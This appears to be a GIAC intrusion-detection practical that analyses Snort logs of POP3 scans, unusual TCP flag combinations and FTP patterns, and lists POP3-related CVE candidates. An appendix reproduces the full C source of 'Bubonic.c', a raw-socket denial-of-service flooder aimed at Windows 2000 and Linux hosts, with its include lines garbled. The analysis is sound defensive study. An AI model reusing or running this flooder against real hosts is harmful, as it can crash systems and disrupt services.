CAN-1999-1004	** CANDIDATE (under review) ** Buffer overflow in the POP server POProxy for the Norton Anti-Virus protection NAV2000 program via a large USER command.
CAN-2000-0016	** CANDIDATE (under review) ** Buffer overflow in Internet Anywhere POP3 Mail Server allows remote attackers to cause a denial of service or execute commands via a long username.
CAN-2000-0019	** CANDIDATE (under review) ** IMail POP3 daemon uses weak encryption, which allows local users to read files.
CAN-2000-0060	** CANDIDATE (under review) ** Buffer overflow in aVirt Rover POP3 server allows remote attackers to cause a denial of service via a long user name.
CAN-2000-0143	** CANDIDATE (under review) ** The SSH protocol server sshd allows local users without shell access to redirect a TCP connection through a service that uses the standard system password database for authentication, such as POP or FTP.
CAN-2000-0198	** CANDIDATE (under review) ** Buffer overflow in POP3 and IMAP servers in the MERCUR mail server suite allows remote attackers to cause a denial of service.
CAN-2000-0501	** CANDIDATE (under review) ** Race condition in MDaemon 2.8.5.0 POP server allows local users to cause a denial of service by entering a UIDL command and quickly exiting the server.
CAN-2000-0592	** CANDIDATE (under review) ** Buffer overflows in POP3 service in WinProxy 2.0 and 2.0.1 allow remote attackers to execute arbitrary commands via long USER, PASS, LIST, RETR, or DELE commands.
CAN-2000-0608	** CANDIDATE (under review) ** NetWin dMailWeb and cwMail 2.6i and earlier allows remote attackers to cause a denial of service via a long POP parameter (pophost).
CAN-2000-0611	** CANDIDATE (under review) ** The default configuration of NetWin dMailWeb and cwMail trusts all POP servers, which allows attackers to bypass normal authentication and cause a denial of service.
CAN-2000-0658	** CANDIDATE (under review) ** Buffer overflow in AnalogX proxy server 4.04 and earlier allows remote attackers to cause a denial of service via a long USER command in the POP3 protocol.

In using the Severity Formula:

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)
6 = (5 + 3) - (1 + 1)

Criticality:	5	The scanning included all systems which may have included the DNS servers and SMTP servers.
Lethality:	3	Although this is just reconnaissance, the data collected could be used to compromise a number of systems that are running the POP3 service.
System Countermeasures:	1	It is unknown what state the systems being scanned are in, so the worst case is assumed.
Network Countermeasures:	1	None, that is why the organization is bidding on security services.

The result of 6 indicates that this network and it's systems are at a considerable risk.

```
Jun 27 07:58:42 MY.NET.1.3:53 -> MY.NET.101.89:35733 UDP
Jun 27 07:58:42 MY.NET.1.3:53 -> MY.NET.101.89:35734 UDP
Jun 27 07:58:42 MY.NET.1.3:53 -> MY.NET.101.89:35736 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35742 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35743 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35744 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35745 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35746 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35747 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35748 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35749 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35750 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35751 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35752 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35753 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35754 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35755 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35756 UDP
Jun 27 07:58:43 MY.NET.1.3:53 -> MY.NET.101.89:35758 UDP
```

These traces occur several times in the file at time indexes 10:50:32, 12:41:51, 14:58:49, 17:21:10 and 21:26:31. From the patterns and repetitive nature of the activity, it appears the MY.NET.1.3 and MY.NET.101.89 are DNS servers for the network.

```
Jun 27 13:48:21 216.46.175.35:29160 -> MY.NET.156.111:6970 UDP
Jun 27 13:48:23 216.46.175.35:22594 -> MY.NET.156.101:6970 UDP
Jun 27 13:48:23 216.46.175.35:24328 -> MY.NET.156.106:6970 UDP
Jun 27 13:48:23 216.46.175.35:15504 -> MY.NET.156.109:6970 UDP
Jun 27 13:48:23 216.46.175.35:8708 -> MY.NET.156.107:6970 UDP
Jun 27 13:48:23 216.46.175.35:24684 -> MY.NET.156.105:6970 UDP
Jun 27 13:48:23 216.46.175.35:23638 -> MY.NET.156.104:6970 UDP
```

This traffic occurs from 13:48:21 until 13:59:59. The data is repetitive in nature. On looking up what UDP port 6970 does and then checking the Whois databases, it appears that the traffic is a group of systems listening to RealAudio streaming data from a site managed by France Telecom.

Details from the RealNetworks RealSystem Firewall Support page explain the use of UDP port 6970:

> *Network-level firewalls, such as packet filters, use access control lists to allow traffic destined for some ports to pass from the Internet to the organization's internal network and to block packets for other ports. To allow any version of RealAudio Player or RealPlayer to play correctly, it is only necessary for the router to allow packets to pass to the inner network that are bound for the following range of ports:*
>
> - *TCP port 7070 for connecting to pre-G2 RealServers*
> - *TCP port 554 and 7070 for connecting to G2 RealServers*
> - *UDP ports 6970 - 7170 (inclusive) for incoming traffic only*
>
> *The TCP port is used by RealPlayer to initiate a conversation with an external RealServer, to authenticate RealPlayer to the server, and to pass control messages during playback (such as pausing or stopping the stream). RealSystem G2 uses two TCP protocols for conversations between Players and Servers.*

```
Jun 27 14:46:38 211.44.13.212:2666 -> MY.NET.1.28:110 SYN **S*****
Jun 27 14:46:38 211.44.13.212:2666 -> MY.NET.1.65:110 SYN **S*****
Jun 27 14:46:38 211.44.13.212:2666 -> MY.NET.1.161:110 SYN **S*****
Jun 27 14:46:38 211.44.13.212:2666 -> MY.NET.1.39:110 SYN **S*****
Jun 27 14:46:38 211.44.13.212:2666 -> MY.NET.2.29:110 SYN **S*****
Jun 27 14:46:38 211.44.13.212:2666 -> MY.NET.1.86:110 SYN **S*****
Jun 27 14:46:38 211.44.13.212:2666 -> MY.NET.1.224:110 SYN **S*****
Jun 27 14:46:38 211.44.13.212:2666 -> MY.NET.1.5:110 SYN **S*****
Jun 27 14:46:38 211.44.13.212:2666 -> MY.NET.1.87:110 SYN **S*****

<snip a large amount of data>

Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.107:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.123:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.169:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.156:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.134:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.226:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.135:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.181:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.196:110 SYN **S*****
```

```
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.195:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.194:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.243:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.227:110 SYN **S*****
Jun 27 14:46:42 211.44.13.212:2666 -> MY.NET.254.246:110 SYN **S*****
```

The same person from above is back scanning the POP3 (TCP 110) ports, except this time the scan is from network MY.NET.1.0 to MY.NET.254.0. This person is really performing a very noisy reconnaissance of the internal networks in order to find the POP3 servers. See the detailed analysis above for why POP3 servers are such inviting targets.

```
Jun 27 01:43:42 24.201.146.89:1 -> MY.NET.181.87:6699 UNKNOWN 2****PAU RESERVEDBITS
Jun 27 21:59:07 24.113.59.186:255 -> MY.NET.218.34:6699 INVALIDACK 21SF**AU RESERVEDBITS
```

This detect is puzzling. Without more information it is unknown what the attacking host is attempting to do. TCP port 6699 is a port known to be used by Napster but the TCP flags are unusual. A similar trace was submitted by Andy Johnston's Snort system on January 2, 2000 to the SANS GIAC site. Another trace was also submitted by Martin Roesch on March 25, 2000 to the SANS GIAC site.

The following traces are grouped together since they are so unusual:

```
Jun 27 12:20:13 142.163.12.82:44585 -> MY.NET.221.78:21 FIN ***F****
Jun 27 12:21:36 152.7.62.144:6699 -> MY.NET.70.233:1677 NULL ********
Jun 27 12:21:40 152.7.62.144:0 -> MY.NET.70.233:6699 VECNA 2******U RESERVEDBITS
Jun 27 12:21:51 152.7.62.144:6699 -> MY.NET.70.233:1677 NULL ********
Jun 27 12:24:41 152.7.62.144:6699 -> MY.NET.70.233:1678 NOACK **SFR**U
Jun 27 12:24:51 152.7.62.144:6699 -> MY.NET.70.233:1678 NOACK **SFR**U
Jun 27 12:24:56 152.7.62.144:159 -> MY.NET.70.233:6699 NOACK **SFR**U
Jun 27 12:25:01 152.7.62.144:6699 -> MY.NET.70.233:1678 NULL ********
Jun 27 12:25:01 152.7.62.144:6699 -> MY.NET.70.233:1678 NOACK **SFR**U
Jun 27 14:03:36 24.113.28.219:1358 -> MY.NET.181.88:20 NOACK **S**P*U
Jun 27 14:14:36 24.64.178.158:6699 -> MY.NET.162.200:3211 NULL ********
Jun 27 14:15:08 24.64.178.158:6699 -> MY.NET.162.200:3211 NULL ********
Jun 27 14:58:38 205.188.137.185:21 -> MY.NET.115.39:2519 UNKNOWN *1**R*** RESERVEDBITS
Jun 27 15:19:06 205.188.247.193:21 -> MY.NET.97.85:1382 UNKNOWN *1**R*** RESERVEDBITS
Jun 27 15:44:30 134.184.120.55:3353 -> MY.NET.110.249:6346 NULL ********
Jun 27 15:53:07 134.184.120.55:3353 -> MY.NET.110.249:6346 NULL ********
Jun 27 17:31:41 24.26.249.223:0 -> MY.NET.60.14:2236 VECNA *1*F***U RESERVEDBITS
Jun 27 19:57:59 24.108.119.35:6699 -> MY.NET.218.18:2504 INVALIDACK **SF**AU
Jun 27 20:06:48 207.172.149.124:36870 -> MY.NET.60.8:23 INVALIDACK ***FR*A*
Jun 27 23:41:27 24.9.155.227:37736 -> MY.NET.60.11:22 INVALIDACK 21**R*AU RESERVEDBITS
Jun 27 14:03:36 24.113.28.219:1358 -> MY.NET.181.88:20 NOACK **S**P*U
Jun 27 14:14:36 24.64.178.158:6699 -> MY.NET.162.200:3211 NULL ********
Jun 27 14:15:08 24.64.178.158:6699 -> MY.NET.162.200:3211 NULL ********
```

What makes these packets so unusual is the type of flags set in the TCP packet. Having the SYN, FIN, RST and URG flags set is not realistic. How can a session be started, stopped, reset and be urgent at the same time? Same with having a packet with the FIN, RST and ACK flags set. This would mean that the session would be politely disconnected and abruptly shutdown all at once. These packets are either from corrupted data or created by specially designed tools. The target systems should be examined closely for any unusual processes and the owners of the source hosts should be contacted since their system security may be breached.

```
Jun 27 01:55:36 193.251.35.190:1778 -> MY.NET.181.88:21 SYN **S*****
Jun 27 01:55:37 193.251.35.190:1785 -> MY.NET.181.88:3152 SYN **S*****
Jun 27 01:55:37 193.251.35.190:1787 -> MY.NET.181.88:3154 SYN **S*****
Jun 27 01:55:37 193.251.35.190:1790 -> MY.NET.181.88:3157 SYN **S*****
Jun 27 01:55:37 193.251.35.190:1791 -> MY.NET.181.88:3158 SYN **S*****
Jun 27 01:55:37 193.251.35.190:1792 -> MY.NET.181.88:3159 SYN **S*****
Jun 27 01:55:37 193.251.35.190:1793 -> MY.NET.181.88:3160 SYN **S*****
Jun 27 01:55:37 193.251.35.190:1794 -> MY.NET.181.88:3161 SYN **S*****
Jun 27 01:55:37 193.251.35.190:1795 -> MY.NET.181.88:3162 SYN **S*****
Jun 27 01:55:37 193.251.35.190:1796 -> MY.NET.181.88:3163 SYN **S*****
Jun 27 01:55:37 193.251.35.190:1798 -> MY.NET.181.88:3165 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1803 -> MY.NET.181.88:3169 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1806 -> MY.NET.181.88:3172 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1811 -> MY.NET.181.88:3177 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1813 -> MY.NET.181.88:3179 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1814 -> MY.NET.181.88:3180 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1815 -> MY.NET.181.88:3181 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1816 -> MY.NET.181.88:3182 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1817 -> MY.NET.181.88:3183 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1818 -> MY.NET.181.88:3184 SYN **S*****
```

```
Jun 27 01:55:38 193.251.35.190:1819 -> MY.NET.181.88:3185 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1820 -> MY.NET.181.88:3186 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1823 -> MY.NET.181.88:3189 SYN **S*****
Jun 27 01:55:38 193.251.35.190:1824 -> MY.NET.181.88:3190 SYN **S*****
Jun 27 01:55:42 193.251.35.190:1859 -> MY.NET.181.88:3191 SYN **S*****

<snip a large amount of data>

Jun 27 03:29:00 193.251.35.190:3550 -> MY.NET.181.88:21 SYN **S*****
Jun 27 03:28:59 193.251.35.190:3543 -> MY.NET.181.88:4394 SYN **S*****
Jun 27 03:28:59 193.251.35.190:3545 -> MY.NET.181.88:4396 SYN **S*****
Jun 27 03:29:00 193.251.35.190:3551 -> MY.NET.181.88:4398 SYN **S*****
Jun 27 03:29:01 193.251.35.190:3555 -> MY.NET.181.88:4401 SYN **S*****
Jun 27 03:29:01 193.251.35.190:3557 -> MY.NET.181.88:21 SYN **S*****
Jun 27 03:29:02 193.251.35.190:3559 -> MY.NET.181.88:4404 SYN **S*****
Jun 27 03:29:02 193.251.35.190:3560 -> MY.NET.181.88:4403 SYN **S*****
Jun 27 03:29:03 193.251.35.190:3564 -> MY.NET.181.88:4406 SYN **S*****
```

That capture is interesting as it appears to be an FTP session (TCP port 21) followed by connections by the remote host to high ports (ports > 1024). This is a normal method for passive FTP. However the time interval is much too short and is constantly repeated. Examination of the packet payload would provide a better picture into what is happening. Details on active versus passive FTP can be found at the Geek Speak site. This site also includes network traces to assist in learning about the difference between active and passive FTP

Overall it is strongly recommended that a firewall solution be implemented on the network and the existing hosts checked for trojan programs. Within a one minute span on a single day, one attacker was already able to map out the complete internal network and determine which hosts have POP3 servers. If this is a typical day, this network is at grave risk of being compromised.

Analysis Process

In order to analyze the data in the "Analyze This" Scenario a number of processes and tools were used.

- The first tool used was the most obvious, the analyst's own eyes and brain. The analyst was looking for interesting patterns in the output, from a lot of traffic from a single host to unusual packet flags or warnings. Once groups of interesting or unusual data was identified the computer came into play.
- For packet types not readily identified, a search was made of indexed web sites using the www.google.com search engine. As an example, in order to determine what could generate the UDP 6970 packets, the search parameter of "6970/udp" was used. This resulted in links to the Firewall mailing list archives and information that the 6970/udp port is used by RealAudio. This information was then confirmed by checking with the RealNetworks site.
- To determine the site originating the traffic, the American Registry for Internet Numbers and RIPE Whois databases were queried with the source IP addresses. The results indicated the primary owners of the IP blocks in question.
- For the port scans of TCP 110, a query was made to the CVE database for the POP3 keyword. This displayed a long list of why POP3 is a commonly used entry point into a network or host.
- The SANS GIAC site was also searched for similar packets in order to provide correlation for unknown or initially confusing detections.

Addendum

Reference Sites

Site	URL	Description
APNIC	http://www.apnic.net/	Home of the Asia/Pacific IP address whois database
ARIN	http://whois.arin.net/	Home of the American IP address whois database
CERT	http://www.cert.org/	CERT Coordination Center - notices about security incidents and vulnerabilities
CVE	http://cve.mitre.org/	Common Vulnerabilities and Exposures database
DODNIC	http://www.nic.mil/dodnic/	United States of America Department of Defense IP address whois database
Google	http://www.google.com/	Web site search engine

IANA	http://www.iana.org/	Internet Assigned Numbers Authority - port numbers and DNS top level domains
RIPE	http://www.ripe.net/	Home of the European IP address whois database
SANS Institute	http://www.sans.org/	SAN (System Administration, Networking, and Security) Institute - leaders in network and system security
Whitehats	http://www.whitehats.com/	Home of the arachNIDS database containing known attack signatures

---

Tools Used

The tools used to analyse the data and their respective sites are listed below:

Tool	Site	Description
Ethereal	http://ethereal.zing.org/	Graphical interface for capture and display of packets
libpcap	http://www.tcpdump.org/	Standard library for capturing packets from the network
Snort	http://www.snort.org/	Data capture and intrusion detection system
tcpdump	http://www.tcpdump.org/	Capture of packets from the network via the libpcap library
Windump	http://netgroup-serv.polito.it/windump/	Microsoft Windows version of tcpdump
winpcap	http://netgroup-serv.polito.it/winpcap/	Microsoft Windows network interface driver based on libpcap

---

Source Code: Bubonic.c

```
/*

 * Bubonic.c lame DoS against Windows 2000 machines
 * and certain versions of Linux (worked against an Ultra5
 * running Redhat Zoot. Should compile under anything.
 * Randomly sends TCP packets with random settings, etc.

 * Brings the load up causing the box to crash with
 * error code:

 * STOP 0x00000041 (0x00001000,0x00001279,0x000042A,0x00000001)
 * MUST_SUCCEED_POOL_EMPTY

 * CODE RIPPED FROM MY OTHER BGP KILLER WITH SETTINGS TWEAKED.
 * WEE MULTICODE... www.antioffline.com/daemonic.c

 * shouts... hrmm fsck it why not...
 * #unixgods on the efnet, jhh, iggie, rajak, speye, obecian,
 * qwer7y, m3th, god-, tattooman, spikeman, and my wife.
 * Can't forget security staff all over the place.

 * Logs for the packets sent at www.antioffline.com/logged
 * Windows2K screen shots at www.antioffline.com/loads.html
 */


#include #include #include #include #include #include #include
#ifndef __USE_BSD
#define __USE_BSD

#endif

#ifndef __FAVOR_BSD

#define __FAVOR_BSD

#endif

#include #include #include #include #include #include
#ifdef LINUX
#define FIX(x)  htons(x)

#else

#define FIX(x)  (x)
#endif

struct ip_hdr {
    u_int       ip_hl:4,
                ip_v:4;
    u_char      ip_tos;
    u_short     ip_len;
```

```
    u_short     ip_id;
    u_short     ip_off;
    u_char      ip_ttl;
    u_char      ip_p;
    u_short     ip_sum;
    u_long      saddr, daddr;
};

struct tcp_hdr {
    u_short     th_sport;
    u_short     th_dport;
    u_long      th_seq;
    u_long      th_syn;
    u_int       th_x2:4,
                th_off:4;
    u_char      th_flags;
    u_short     th_win;
    u_short     th_sum;
    u_short     th_urp;
};

struct tcpopt_hdr {
    u_char  type;
    u_char  len;
    u_short value;
};

struct pseudo_hdr {
    u_long saddr, daddr;
    u_char mbz, ptcl;
    u_short tcpl;
};

struct packet {
    struct ip/*_hdr*/ ip;
    struct tcphdr tcp;
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};

struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short bgport, bgsize, pps;
u_long radd;
u_long sradd;
int sock;

void usage(char *progname)
{
    fprintf(stderr, "Usage: %s    \n", progname);
    fprintf(stderr, "Ports are set to send and receive on port 179\n");
    fprintf(stderr, "dst:\tDestination Address\n");
    fprintf(stderr, "src:\tSource Address\n");
    fprintf(stderr, "size:\tSize of packet which should be no larger than 1024 should allow for xtra header info thru routes\n");
    fprintf(stderr, "num:\tpackets\n\n");
    exit(1);
}

inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
     while (nleft > 1)  {
         sum += *w++;
         nleft -= 2;
     }
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }
     sum = (sum >> 16) + (sum & 0xffff);
     sum += (sum >> 16);
     answer = ~sum;
     return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Could not resolve %s fucknut\n", hostname);
       exit(1);
```

```
    }

    return *(u_long *)hp->h_addr;
}


void flooder(void)
{
    struct timespec ts;
    int i;


    memset(&packet, 0, sizeof(packet));

    ts.tv_sec                   = 0;
    ts.tv_nsec                  = 100;

    packet.ip.ip_hl             = 5;
    packet.ip.ip_v              = 4;
    packet.ip.ip_p              = IPPROTO_TCP;
    packet.ip.ip_tos            = 0xc9;
    packet.ip.ip_id             = radd;
    packet.ip.ip_len            = FIX(sizeof(packet));
    packet.ip.ip_off            = random();
    packet.ip.ip_ttl            = 255;
    packet.ip.ip_dst.s_addr     = radd;

    packet.tcp.th_flags         = 0;
    packet.tcp.th_win           = 0;
    packet.tcp.th_seq           = random();
    packet.tcp.th_ack           = 0;
    packet.tcp.th_off           = 0;
    packet.tcp.th_urp           = 0;
    packet.tcp.th_dport         = random();
    cksum.pseudo.daddr          = sradd;
    cksum.pseudo.mbz            = 0;
    cksum.pseudo.ptcl           = IPPROTO_TCP;
    cksum.pseudo.tcpl           = random();

    s_in.sin_family             = AF_INET;
    s_in.sin_addr.s_addr        = sradd;
    s_in.sin_port               = random();

    for(i=0;;++i) {
    if( !(i&31337) ) {
        packet.tcp.th_sport = 80;
        cksum.pseudo.saddr = packet.ip.ip_src.s_addr = sradd;
        packet.tcp.th_flags = random();
        packet.tcp.th_ack   = random();

    }
    else {
        packet.tcp.th_flags = rand();
        packet.tcp.th_ack = rand();
    }
       ++packet.ip.ip_id;
       /*++packet.tcp.th_sport*/;
       ++packet.tcp.th_seq;

       if (!bgport)
          s_in.sin_port = packet.tcp.th_dport = random();

       packet.ip.ip_sum         = 0;
       packet.tcp.th_sum        = 0;

       cksum.tcp                = packet.tcp;

       packet.ip.ip_sum         = in_cksum((void *)&packet.ip, 20);
       packet.tcp.th_sum        = in_cksum((void *)&cksum, sizeof(cksum));

       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0);

    }
}

int main(int argc, char *argv[])
{
    int on = 1;

    printf("Bubonic -- sil@antioffline.com\n\n");

    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
       perror("socket");
       exit(1);
    }

    setgid(getgid()); setuid(getuid());

    if (argc < 4)
```

```
        usage(argv[0]);

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)

{
        perror("setsockopt");
        exit(1);

    }

    srand((time(NULL) ^ getpid()) + getppid());

    printf("\nFinding host\n"); fflush(stdout);

    radd        = lookup(argv[1]);
    bgport      = atoi(argv[3]);
    bgsize      = atoi(argv[4]);
    sradd       = lookup(argv[2]);
    printf("AntiOffline -- Putting the Hero in Heroin\n");

    flooder();

    return 0;
}
```

Ken McKinlay